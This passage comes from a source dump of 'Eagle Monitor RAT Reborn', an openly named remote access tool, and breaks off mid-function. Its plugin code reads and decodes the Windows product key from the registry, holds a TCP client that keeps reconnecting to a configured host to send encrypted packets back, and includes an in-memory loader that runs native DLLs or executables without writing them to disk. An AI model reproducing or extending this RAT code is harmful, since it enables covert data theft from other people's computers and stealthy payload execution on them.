Tool/Plugins/Hardware/obj/Release/Hardware.csproj.CoreCompileInputs.cache ================================================ e50addab1c0056b719f76fdf96042bd8bcdef1d9 ================================================ FILE: Remote Access Tool/Plugins/Hardware/obj/Release/Hardware.csproj.FileListAbsolute.txt ================================================ D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\Hardware.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Hardware\obj\Release\Hardware.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Hardware\obj\Release\Hardware.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Hardware\obj\Release\Hardware.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Hardware\obj\Release\Hardware.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\Hardware.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Hardware\obj\Release\Hardware.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Hardware\obj\Release\Hardware.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Hardware\obj\Release\Hardware.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Hardware\obj\Release\Hardware.dll C:\Eagle Monitor RAT Reborn\Plugins\Hardware\obj\Release\Hardware.csproj.AssemblyReference.cache C:\Eagle Monitor RAT Reborn\Plugins\Hardware\obj\Release\Hardware.csproj.CoreCompileInputs.cache C:\Eagle Monitor RAT Reborn\Plugins\Hardware\obj\Release\Hardware.dll C:\Eagle Monitor RAT Reborn\bin\Release\Plugins\Hardware.dll C:\Eagle Monitor RAT Reborn\Plugins\Hardware\obj\Release\Hardware.csproj.Fody.CopyLocal.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\bin\Release\Plugins\Hardware.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Hardware\obj\Release\Hardware.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Hardware\obj\Release\Hardware.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Hardware\obj\Release\Hardware.csproj.Fody.CopyLocal.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Hardware\obj\Release\Hardware.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Hardware.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Hardware\obj\Release\Hardware.csproj.AssemblyReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Hardware\obj\Release\Hardware.csproj.CoreCompileInputs.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Hardware\obj\Release\Hardware.csproj.Fody.CopyLocal.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Hardware\obj\Release\Hardware.dll F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Hardware.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Hardware\obj\Release\Hardware.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Hardware\obj\Release\Hardware.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Hardware\obj\Release\Hardware.csproj.Fody.CopyLocal.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Hardware\obj\Release\Hardware.dll E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Hardware.dll E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Hardware\obj\Release\Hardware.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Hardware\obj\Release\Hardware.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Hardware\obj\Release\Hardware.csproj.Fody.CopyLocal.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Hardware\obj\Release\Hardware.dll ================================================ FILE: Remote Access Tool/Plugins/Hardware/obj/Release/Hardware.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/Hardware/obj/Release/_IsIncrementalBuild ================================================ obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Plugins/Hardware/packages.config ================================================  ================================================ FILE: Remote Access Tool/Plugins/Information/ActivationKey.cs ================================================ using Microsoft.Win32; using System; using System.Collections; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Plugin { internal class ActivationKey { internal static string DecodeProductKeyWin8AndUp(byte[] digitalProductId) { string text = string.Empty; byte b = (byte)(((int)digitalProductId[66] / (int)6) & (int)1); digitalProductId[66] = (byte)(((int)digitalProductId[66] & (int)247) | (((int)b & (int)2) * (int)4)); int num = 0; for (int i = 24; i >= 0; i--) { int num2 = 0; for (int j = 14; j >= 0; j--) { num2 *= 256; num2 = (int)digitalProductId[j + 52] + num2; digitalProductId[j + 52] = (byte)(num2 / 24); num2 %= 24; num = num2; } text = "BCDFGHJKMPQRTVWXY2346789"[num2] + text; } string str = text.Substring(1, num); string str2 = text.Substring(num + 1, text.Length - (num + 1)); text = str + "N" + str2; for (int k = 5; k < text.Length; k += 6) { text = text.Insert(k, "-"); } return text; } // Token: 0x0600002C RID: 44 RVA: 0x00003660 File Offset: 0x00001860 private static string DecodeProductKey(byte[] digitalProductId) { char[] array = new char[] { 'B', 'C', 'D', 'F', 'G', 'H', 'J', 'K', 'M', 'P', 'Q', 'R', 'T', 'V', 'W', 'X', 'Y', '2', '3', '4', '6', '7', '8', '9' }; char[] array2 = new char[29]; ArrayList arrayList = new ArrayList(); for (int i = 52; i <= 67; i++) { arrayList.Add(digitalProductId[i]); } for (int j = 28; j >= 0; j--) { if ((j + 1) % 6 == 0) { array2[j] = '-'; } else { int num = 0; for (int k = 14; k >= 0; k--) { int num2 = (num << 8) | (int)((byte)arrayList[k]); arrayList[k] = (byte)(num2 / 24); num = num2 % 24; array2[j] = array[num]; } } } return new string(array2); } // Token: 0x0600002D RID: 45 RVA: 0x0000371C File Offset: 0x0000191C private static string GetWindowsProductKeyFromDigitalProductId(byte[] digitalProductId, ActivationKey.DigitalProductIdVersion digitalProductIdVersion) { if (digitalProductIdVersion == ActivationKey.DigitalProductIdVersion.Windows8AndUp) { return ActivationKey.DecodeProductKeyWin8AndUp(digitalProductId); } return ActivationKey.DecodeProductKey(digitalProductId); } // Token: 0x0600002E RID: 46 RVA: 0x00003744 File Offset: 0x00001944 public static string GetWindowsProductKeyFromRegistry() { try { RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32); object value = registryKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion").GetValue("DigitalProductId"); if (value == null) { return "Failed to get DigitalProductId from registry"; } byte[] digitalProductId = (byte[])value; registryKey.Close(); bool flag = (Environment.OSVersion.Version.Major == 6 && Environment.OSVersion.Version.Minor >= 2) || Environment.OSVersion.Version.Major > 6; //Counter.ProductKey = true; return ActivationKey.GetWindowsProductKeyFromDigitalProductId(digitalProductId, flag ? ActivationKey.DigitalProductIdVersion.Windows8AndUp : ActivationKey.DigitalProductIdVersion.UpToWindows7); } catch {} return null; } // Token: 0x02000005 RID: 5 internal enum DigitalProductIdVersion { // Token: 0x0400002D RID: 45 UpToWindows7, // Token: 0x0400002E RID: 46 Windows8AndUp } } } ================================================ FILE: Remote Access Tool/Plugins/Information/ClientHandler.cs ================================================ using PacketLib; using PacketLib.Utils; using System; using System.IO; using System.Net.Sockets; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class ClientHandler : IDisposable { public Host host { get; set; } private Socket socket { get; set; } public bool Connected { get; set; } public string HWID { get; set; } public string baseIp { get; set; } public string key { get; set; } public delegate bool ConnectAsync(); private delegate int SendDataAsync(IPacket data); public ConnectAsync connectAsync; private readonly SendDataAsync sendDataAsync; public ClientHandler(Host host, string key) : base() { this.host = host; this.key = key; sendDataAsync = new SendDataAsync(SendData); } public void ConnectStart() { connectAsync = new ConnectAsync(Connect); connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null); } private bool Connect() { try { socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true); socket.Connect(host.host, host.port); return true; } catch { } return false; } public void EndConnect(IAsyncResult ar) { Connected = connectAsync.EndInvoke(ar); if (!Connected) { ConnectStart(); } } public void SendPacket(IPacket packet) { if (Connected) sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null); } private int SendData(IPacket data) { byte[] encryptedData = data.SerializePacket(this.key); int total = 0; int size = encryptedData.Length; int datalft = size; byte[] header = new byte[5]; byte[] temp = BitConverter.GetBytes(size); header[0] = temp[0]; header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; header[4] = (byte)data.PacketType; lock (socket) { try { socket.Poll(-1, SelectMode.SelectWrite); int sent = socket.Send(header); if (size > 1000000) { using (MemoryStream memoryStream = new MemoryStream(encryptedData)) { int read = 0; memoryStream.Position = 0; byte[] chunk = new byte[50 * 1000]; while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { socket.Send(chunk, 0, read, SocketFlags.None); } } } else { while (total < size) { sent = socket.Send(encryptedData, total, size, SocketFlags.None); total += sent; datalft -= sent; } } return size; } catch (Exception) { Connected = false; return 0; } } } private void SendDataCompleted(IAsyncResult ar) { int length = sendDataAsync.EndInvoke(ar); if (Connected) { if (length != 0)//TODO : LOGS { //MessageBox.Show("Data sent ! + length = " + length.ToString()); } else { //MessageBox.Show("Error while sending data + length =" + length.ToString()); } } this.Dispose(); } public void Dispose() { socket.Close(); socket.Dispose(); socket = null; } } } ================================================ FILE: Remote Access Tool/Plugins/Information/DLLFromMemory.cs ================================================ /* * Original Author : https://github.com/schellingb/DLLFromMemory-net * * DLLFromMemory.Net * * Load a native DLL from memory without the need to allow unsafe code * * Copyright (C) 2018 - 2019 by Bernhard Schelling * * Based on Memory Module.net 0.2 * Copyright (C) 2012 - 2018 by Andreas Kanzler (andi_kanzler(at)gmx.de) * https://github.com/Scavanger/MemoryModule.net * * Based on Memory DLL loading code Version 0.0.4 * Copyright (C) 2004 - 2015 by Joachim Bauch (mail(at)joachim-bauch.de) * https://github.com/fancycode/MemoryModule * * * The contents of this file are subject to the Mozilla Public License Version * 2.0 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * http://www.mozilla.org/MPL/ * * Software distributed under the License is distributed on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License * for the specific language governing rights and limitations under the * License. * * The Original Code is MemoryModule.c * * The Initial Developer of the Original Code is Joachim Bauch. * * Portions created by Joachim Bauch are Copyright (C) 2004 - 2015 * Joachim Bauch. All Rights Reserved. * * Portions created by Andreas Kanzler are Copyright (C) 2012 - 2018 * Andreas Kanzler. All Rights Reserved. * * Portions created by Bernhard Schelling are Copyright (C) 2018 - 2019 * Bernhard Schelling. All Rights Reserved. * */ using System; using System.Runtime.InteropServices; public class DLLFromMemory : IDisposable { public class DllException : Exception { public DllException() : base() { } public DllException(string message) : base(message) { } public DllException(string message, Exception innerException) : base(message, innerException) { } } public bool Disposed { get; private set; } public bool IsDll { get; private set; } IntPtr pCode = IntPtr.Zero; IntPtr pNTHeaders = IntPtr.Zero; IntPtr[] ImportModules; bool _initialized = false; DllEntryDelegate _dllEntry = null; ExeEntryDelegate _exeEntry = null; bool _isRelocated = false; [UnmanagedFunctionPointer(CallingConvention.Winapi)] delegate bool DllEntryDelegate(IntPtr hinstDLL, DllReason fdwReason, IntPtr lpReserved); [UnmanagedFunctionPointer(CallingConvention.Winapi)] delegate int ExeEntryDelegate(); [UnmanagedFunctionPointer(CallingConvention.Winapi)] delegate void ImageTlsDelegate(IntPtr dllHandle, DllReason reason, IntPtr reserved); /// /// Loads a unmanged (native) DLL in the memory. /// /// Dll as a byte array public DLLFromMemory(byte[] data) { Disposed = false; if (data == null) throw new ArgumentNullException("data"); MemoryLoadLibrary(data); } ~DLLFromMemory() { Dispose(); } /// /// Returns a delegate for a function inside the DLL. /// /// The type of the delegate. /// The name of the function to be searched. /// A delegate instance of type TDelegate public TDelegate GetDelegateFromFuncName(string funcName) where TDelegate : class { if (!typeof(Delegate).IsAssignableFrom(typeof(TDelegate))) throw new ArgumentException(typeof(TDelegate).Name + " is not a delegate"); TDelegate res = Marshal.GetDelegateForFunctionPointer((IntPtr)GetPtrFromFuncName(funcName), typeof(TDelegate)) as TDelegate; if (res == null) throw new DllException("Unable to get managed delegate"); return res; } /// /// Returns a delegate for a function inside the DLL. /// /// The Name of the function to be searched. /// The type of the delegate to be returned. /// A delegate instance that can be cast to the appropriate delegate type. public Delegate GetDelegateFromFuncName(string funcName, Type delegateType) { if (delegateType == null) throw new ArgumentNullException("delegateType"); if (!typeof(Delegate).IsAssignableFrom(delegateType)) throw new ArgumentException(delegateType.Name + " is not a delegate"); Delegate res = Marshal.GetDelegateForFunctionPointer(GetPtrFromFuncName(funcName), delegateType); if (res == null) throw new DllException("Unable to get managed delegate"); return res; } IntPtr GetPtrFromFuncName(string funcName) { if (Disposed) throw new ObjectDisposedException("DLLFromMemory"); if (string.IsNullOrEmpty(funcName)) throw new ArgumentException("funcName"); if (!IsDll) throw new InvalidOperationException("Loaded Module is not a DLL"); if (!_initialized) throw new InvalidOperationException("Dll is not initialized"); IntPtr pDirectory = PtrAdd(pNTHeaders, Of.IMAGE_NT_HEADERS_OptionalHeader + (Is64BitProcess ? Of64.IMAGE_OPTIONAL_HEADER_ExportTable : Of32.IMAGE_OPTIONAL_HEADER_ExportTable)); IMAGE_DATA_DIRECTORY Directory = PtrRead(pDirectory); if (Directory.Size == 0) throw new DllException("Dll has no export table"); IntPtr pExports = PtrAdd(pCode, Directory.VirtualAddress); IMAGE_EXPORT_DIRECTORY Exports = PtrRead(pExports); if (Exports.NumberOfFunctions == 0 || Exports.NumberOfNames == 0) throw new DllException("Dll exports no functions"); IntPtr pNameRef = PtrAdd(pCode, Exports.AddressOfNames); IntPtr pOrdinal = PtrAdd(pCode, Exports.AddressOfNameOrdinals); for (int i = 0; i < Exports.NumberOfNames; i++, pNameRef = PtrAdd(pNameRef, sizeof(uint)), pOrdinal = PtrAdd(pOrdinal, sizeof(ushort))) { uint NameRef = PtrRead(pNameRef); ushort Ordinal = PtrRead(pOrdinal); string curFuncName = Marshal.PtrToStringAnsi(PtrAdd(pCode, NameRef)); if (curFuncName == funcName) { if (Ordinal > Exports.NumberOfFunctions) throw new DllException("Invalid function ordinal"); IntPtr pAddressOfFunction = PtrAdd(pCode, (Exports.AddressOfFunctions + (uint)(Ordinal * 4))); return PtrAdd(pCode, PtrRead(pAddressOfFunction)); } } throw new DllException("Dll exports no function named " + funcName); } /// /// Call entry point of executable. /// /// Exitcode of executable public int MemoryCallEntryPoint() { if (Disposed) throw new ObjectDisposedException("DLLFromMemory"); if (IsDll || _exeEntry == null || !_isRelocated) throw new DllException("Unable to call entry point. Is loaded module a dll?"); return _exeEntry(); } void MemoryLoadLibrary(byte[] data) { if (data.Length < Marshal.SizeOf(typeof(IMAGE_DOS_HEADER))) throw new DllException("Not a valid executable file"); IMAGE_DOS_HEADER DosHeader = BytesReadStructAt(data, 0); if (DosHeader.e_magic != Win.IMAGE_DOS_SIGNATURE) throw new BadImageFormatException("Not a valid executable file"); if (data.Length < DosHeader.e_lfanew + Marshal.SizeOf(typeof(IMAGE_NT_HEADERS))) throw new DllException("Not a valid executable file"); IMAGE_NT_HEADERS OrgNTHeaders = BytesReadStructAt(data, DosHeader.e_lfanew); if (OrgNTHeaders.Signature != Win.IMAGE_NT_SIGNATURE) throw new BadImageFormatException("Not a valid PE file"); if (OrgNTHeaders.FileHeader.Machine != GetMachineType()) throw new BadImageFormatException("Machine type doesn't fit (i386 vs. AMD64)"); if ((OrgNTHeaders.OptionalHeader.SectionAlignment & 1) > 0) throw new BadImageFormatException("Wrong section alignment"); //Only support multiple of 2 if (OrgNTHeaders.OptionalHeader.AddressOfEntryPoint == 0) throw new DllException("Module has no entry point"); SYSTEM_INFO systemInfo; Win.GetNativeSystemInfo(out systemInfo); uint lastSectionEnd = 0; int ofSection = Win.IMAGE_FIRST_SECTION(DosHeader.e_lfanew, OrgNTHeaders.FileHeader.SizeOfOptionalHeader); for (int i = 0; i != OrgNTHeaders.FileHeader.NumberOfSections; i++, ofSection += Sz.IMAGE_SECTION_HEADER) { IMAGE_SECTION_HEADER Section = BytesReadStructAt(data, ofSection); uint endOfSection = Section.VirtualAddress + (Section.SizeOfRawData > 0 ? Section.SizeOfRawData : OrgNTHeaders.OptionalHeader.SectionAlignment); if (endOfSection > lastSectionEnd) lastSectionEnd = endOfSection; } uint alignedImageSize = AlignValueUp(OrgNTHeaders.OptionalHeader.SizeOfImage, systemInfo.dwPageSize); uint alignedLastSection = AlignValueUp(lastSectionEnd, systemInfo.dwPageSize); if (alignedImageSize != alignedLastSection) throw new BadImageFormatException("Wrong section alignment"); IntPtr oldHeader_OptionalHeader_ImageBase; if (Is64BitProcess) oldHeader_OptionalHeader_ImageBase = (IntPtr)unchecked((long)(OrgNTHeaders.OptionalHeader.ImageBaseLong)); else oldHeader_OptionalHeader_ImageBase = (IntPtr)unchecked((int)(OrgNTHeaders.OptionalHeader.ImageBaseLong >> 32)); // reserve memory for image of library pCode = Win.VirtualAlloc(oldHeader_OptionalHeader_ImageBase, (UIntPtr)OrgNTHeaders.OptionalHeader.SizeOfImage, AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.READWRITE); //pCode = IntPtr.Zero; //test relocation with this // try to allocate memory at arbitrary position if (pCode == IntPtr.Zero) pCode = Win.VirtualAlloc(IntPtr.Zero, (UIntPtr)OrgNTHeaders.OptionalHeader.SizeOfImage, AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.READWRITE); if (pCode == IntPtr.Zero) throw new DllException("Out of Memory"); if (Is64BitProcess && PtrSpanBoundary(pCode, alignedImageSize, 32)) { // Memory block may not span 4 GB (32 bit) boundaries. System.Collections.Generic.List BlockedMemory = new System.Collections.Generic.List(); while (PtrSpanBoundary(pCode, alignedImageSize, 32)) { BlockedMemory.Add(pCode); pCode = Win.VirtualAlloc(IntPtr.Zero, (UIntPtr)alignedImageSize, AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.READWRITE); if (pCode == IntPtr.Zero) break; } foreach (IntPtr ptr in BlockedMemory) Win.VirtualFree(ptr, IntPtr.Zero, AllocationType.RELEASE); if (pCode == IntPtr.Zero) throw new DllException("Out of Memory"); } // commit memory for headers IntPtr headers = Win.VirtualAlloc(pCode, (UIntPtr)OrgNTHeaders.OptionalHeader.SizeOfHeaders, AllocationType.COMMIT, MemoryProtection.READWRITE); if (headers == IntPtr.Zero) throw new DllException("Out of Memory"); // copy PE header to code Marshal.Copy(data, 0, headers, (int)(OrgNTHeaders.OptionalHeader.SizeOfHeaders)); pNTHeaders = PtrAdd(headers, DosHeader.e_lfanew); IntPtr locationDelta = PtrSub(pCode, oldHeader_OptionalHeader_ImageBase); if (locationDelta != IntPtr.Zero) { // update relocated position Marshal.OffsetOf(typeof(IMAGE_NT_HEADERS), "OptionalHeader"); Marshal.OffsetOf(typeof(IMAGE_OPTIONAL_HEADER), "ImageBaseLong"); IntPtr pImageBase = PtrAdd(pNTHeaders, Of.IMAGE_NT_HEADERS_OptionalHeader + (Is64BitProcess ? Of64.IMAGE_OPTIONAL_HEADER_ImageBase : Of32.IMAGE_OPTIONAL_HEADER_ImageBase)); PtrWrite(pImageBase, pCode); } // copy sections from DLL file block to new memory location CopySections(ref OrgNTHeaders, pCode, pNTHeaders, data); // adjust base address of imported data _isRelocated = (locationDelta != IntPtr.Zero ? PerformBaseRelocation(ref OrgNTHeaders, pCode, locationDelta) : true); // load required dlls and adjust function table of imports ImportModules = BuildImportTable(ref OrgNTHeaders, pCode); // mark memory pages depending on section headers and release // sections that are marked as "discardable" FinalizeSections(ref OrgNTHeaders, pCode, pNTHeaders, systemInfo.dwPageSize); // TLS callbacks are executed BEFORE the main loading ExecuteTLS(ref OrgNTHeaders, pCode, pNTHeaders); // get entry point of loaded library IsDll = ((OrgNTHeaders.FileHeader.Characteristics & Win.IMAGE_FILE_DLL) != 0); if (OrgNTHeaders.OptionalHeader.AddressOfEntryPoint != 0) { if (IsDll) { // notify library about attaching to process IntPtr dllEntryPtr = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.AddressOfEntryPoint); _dllEntry = (DllEntryDelegate)Marshal.GetDelegateForFunctionPointer(dllEntryPtr, typeof(DllEntryDelegate)); _initialized = (_dllEntry != null && _dllEntry(pCode, DllReason.DLL_PROCESS_ATTACH, IntPtr.Zero)); if (!_initialized) throw new DllException("Can't attach DLL to process"); } else { IntPtr exeEntryPtr = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.AddressOfEntryPoint); _exeEntry = (ExeEntryDelegate)Marshal.GetDelegateForFunctionPointer(exeEntryPtr, typeof(ExeEntryDelegate)); } } } static void CopySections(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr pNTHeaders, byte[] data) { IntPtr pSection = Win.IMAGE_FIRST_SECTION(pNTHeaders, OrgNTHeaders.FileHeader.SizeOfOptionalHeader); for (int i = 0; i < OrgNTHeaders.FileHeader.NumberOfSections; i++, pSection = PtrAdd(pSection, Sz.IMAGE_SECTION_HEADER)) { IMAGE_SECTION_HEADER Section = PtrRead(pSection); if (Section.SizeOfRawData == 0) { // section doesn't contain data in the dll itself, but may define uninitialized data uint size = OrgNTHeaders.OptionalHeader.SectionAlignment; if (size > 0) { IntPtr dest = Win.VirtualAlloc(PtrAdd(pCode, Section.VirtualAddress), (UIntPtr)size, AllocationType.COMMIT, MemoryProtection.READWRITE); if (dest == IntPtr.Zero) throw new DllException("Unable to allocate memory"); // Always use position from file to support alignments smaller than page size (allocation above will align to page size). dest = PtrAdd(pCode, Section.VirtualAddress); // NOTE: On 64bit systems we truncate to 32bit here but expand again later when "PhysicalAddress" is used. PtrWrite(PtrAdd(pSection, Of.IMAGE_SECTION_HEADER_PhysicalAddress), unchecked((uint)(ulong)(long)dest)); Win.MemSet(dest, 0, (UIntPtr)size); } // section is empty continue; } else { // commit memory block and copy data from dll IntPtr dest = Win.VirtualAlloc(PtrAdd(pCode, Section.VirtualAddress), (UIntPtr)Section.SizeOfRawData, AllocationType.COMMIT, MemoryProtection.READWRITE); if (dest == IntPtr.Zero) throw new DllException("Out of memory"); // Always use position from file to support alignments smaller than page size (allocation above will align to page size). dest = PtrAdd(pCode, Section.VirtualAddress); Marshal.Copy(data, checked((int)Section.PointerToRawData), dest, checked((int)Section.SizeOfRawData)); // NOTE: On 64bit systems we truncate to 32bit here but expand again later when "PhysicalAddress" is used. PtrWrite(PtrAdd(pSection, Of.IMAGE_SECTION_HEADER_PhysicalAddress), unchecked((uint)(ulong)(long)dest)); } } } static bool PerformBaseRelocation(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr delta) { if (OrgNTHeaders.OptionalHeader.BaseRelocationTable.Size == 0) return (delta == IntPtr.Zero); for (IntPtr pRelocation = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.BaseRelocationTable.VirtualAddress); ;) { IMAGE_BASE_RELOCATION Relocation = PtrRead(pRelocation); if (Relocation.VirtualAdress == 0) break; IntPtr pDest = PtrAdd(pCode, Relocation.VirtualAdress); IntPtr pRelInfo = PtrAdd(pRelocation, Sz.IMAGE_BASE_RELOCATION); uint RelCount = ((Relocation.SizeOfBlock - Sz.IMAGE_BASE_RELOCATION) / 2); for (uint i = 0; i != RelCount; i++, pRelInfo = PtrAdd(pRelInfo, sizeof(ushort))) { ushort relInfo = (ushort)Marshal.PtrToStructure(pRelInfo, typeof(ushort)); BasedRelocationType type = (BasedRelocationType)(relInfo >> 12); // the upper 4 bits define the type of relocation int offset = (relInfo & 0xfff); // the lower 12 bits define the offset IntPtr pPatchAddr = PtrAdd(pDest, offset); switch (type) { case BasedRelocationType.IMAGE_REL_BASED_ABSOLUTE: // skip relocation break; case BasedRelocationType.IMAGE_REL_BASED_HIGHLOW: // change complete 32 bit address int patchAddrHL = (int)Marshal.PtrToStructure(pPatchAddr, typeof(int)); patchAddrHL += (int)delta; Marshal.StructureToPtr(patchAddrHL, pPatchAddr, false); break; case BasedRelocationType.IMAGE_REL_BASED_DIR64: long patchAddr64 = (long)Marshal.PtrToStructure(pPatchAddr, typeof(long)); patchAddr64 += (long)delta; Marshal.StructureToPtr(patchAddr64, pPatchAddr, false); break; } } // advance to next relocation block pRelocation = PtrAdd(pRelocation, Relocation.SizeOfBlock); } return true; } static IntPtr[] BuildImportTable(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode) { System.Collections.Generic.List ImportModules = new System.Collections.Generic.List(); uint NumEntries = OrgNTHeaders.OptionalHeader.ImportTable.Size / Sz.IMAGE_IMPORT_DESCRIPTOR; IntPtr pImportDesc = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.ImportTable.VirtualAddress); for (uint i = 0; i != NumEntries; i++, pImportDesc = PtrAdd(pImportDesc, Sz.IMAGE_IMPORT_DESCRIPTOR)) { IMAGE_IMPORT_DESCRIPTOR ImportDesc = PtrRead(pImportDesc); if (ImportDesc.Name == 0) break; IntPtr handle = Win.LoadLibrary(PtrAdd(pCode, ImportDesc.Name)); if (PtrIsInvalidHandle(handle)) { foreach (IntPtr m in ImportModules) Win.FreeLibrary(m); ImportModules.Clear(); throw new DllException("Can't load libary " + Marshal.PtrToStringAnsi(PtrAdd(pCode, ImportDesc.Name))); } ImportModules.Add(handle); IntPtr pThunkRef, pFuncRef; if (ImportDesc.OriginalFirstThunk > 0) { pThunkRef = PtrAdd(pCode, ImportDesc.OriginalFirstThunk); pFuncRef = PtrAdd(pCode, ImportDesc.FirstThunk); } else { // no hint table pThunkRef = PtrAdd(pCode, ImportDesc.FirstThunk); pFuncRef = PtrAdd(pCode, ImportDesc.FirstThunk); } for (int SzRef = IntPtr.Size; ; pThunkRef = PtrAdd(pThunkRef, SzRef), pFuncRef = PtrAdd(pFuncRef, SzRef)) { IntPtr ReadThunkRef = PtrRead(pThunkRef), WriteFuncRef; if (ReadThunkRef == IntPtr.Zero) break; if (Win.IMAGE_SNAP_BY_ORDINAL(ReadThunkRef)) { WriteFuncRef = Win.GetProcAddress(handle, Win.IMAGE_ORDINAL(ReadThunkRef)); } else { WriteFuncRef = Win.GetProcAddress(handle, PtrAdd(PtrAdd(pCode, ReadThunkRef), Of.IMAGE_IMPORT_BY_NAME_Name)); } if (WriteFuncRef == IntPtr.Zero) throw new DllException("Can't get adress for imported function"); PtrWrite(pFuncRef, WriteFuncRef); } } return (ImportModules.Count > 0 ? ImportModules.ToArray() : null); } static void FinalizeSections(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr pNTHeaders, uint PageSize) { UIntPtr imageOffset = (Is64BitProcess ? (UIntPtr)(unchecked((ulong)pCode.ToInt64()) & 0xffffffff00000000) : UIntPtr.Zero); IntPtr pSection = Win.IMAGE_FIRST_SECTION(pNTHeaders, OrgNTHeaders.FileHeader.SizeOfOptionalHeader); IMAGE_SECTION_HEADER Section = PtrRead(pSection); SectionFinalizeData sectionData = new SectionFinalizeData(); sectionData.Address = PtrBitOr(PtrAdd((IntPtr)0, Section.PhysicalAddress), imageOffset); sectionData.AlignedAddress = PtrAlignDown(sectionData.Address, (UIntPtr)PageSize); sectionData.Size = GetRealSectionSize(ref Section, ref OrgNTHeaders); sectionData.Characteristics = Section.Characteristics; sectionData.Last = false; pSection = PtrAdd(pSection, Sz.IMAGE_SECTION_HEADER); // loop through all sections and change access flags for (int i = 1; i < OrgNTHeaders.FileHeader.NumberOfSections; i++, pSection = PtrAdd(pSection, Sz.IMAGE_SECTION_HEADER)) { Section = PtrRead(pSection); IntPtr sectionAddress = PtrBitOr(PtrAdd((IntPtr)0, Section.PhysicalAddress), imageOffset); IntPtr alignedAddress = PtrAlignDown(sectionAddress, (UIntPtr)PageSize); IntPtr sectionSize = GetRealSectionSize(ref Section, ref OrgNTHeaders); // Combine access flags of all sections that share a page // TODO(fancycode): We currently share flags of a trailing large section with the page of a first small section. This should be optimized. IntPtr a = PtrAdd(sectionData.Address, sectionData.Size); ulong b = unchecked((ulong)a.ToInt64()), c = unchecked((ulong)alignedAddress); if (sectionData.AlignedAddress == alignedAddress || unchecked((ulong)PtrAdd(sectionData.Address, sectionData.Size).ToInt64()) > unchecked((ulong)alignedAddress)) { // Section shares page with previous if ((Section.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) == 0 || (sectionData.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) == 0) { sectionData.Characteristics = (sectionData.Characteristics | Section.Characteristics) & ~Win.IMAGE_SCN_MEM_DISCARDABLE; } else { sectionData.Characteristics |= Section.Characteristics; } sectionData.Size = PtrSub(PtrAdd(sectionAddress, sectionSize), sectionData.Address); continue; } FinalizeSection(sectionData, PageSize, 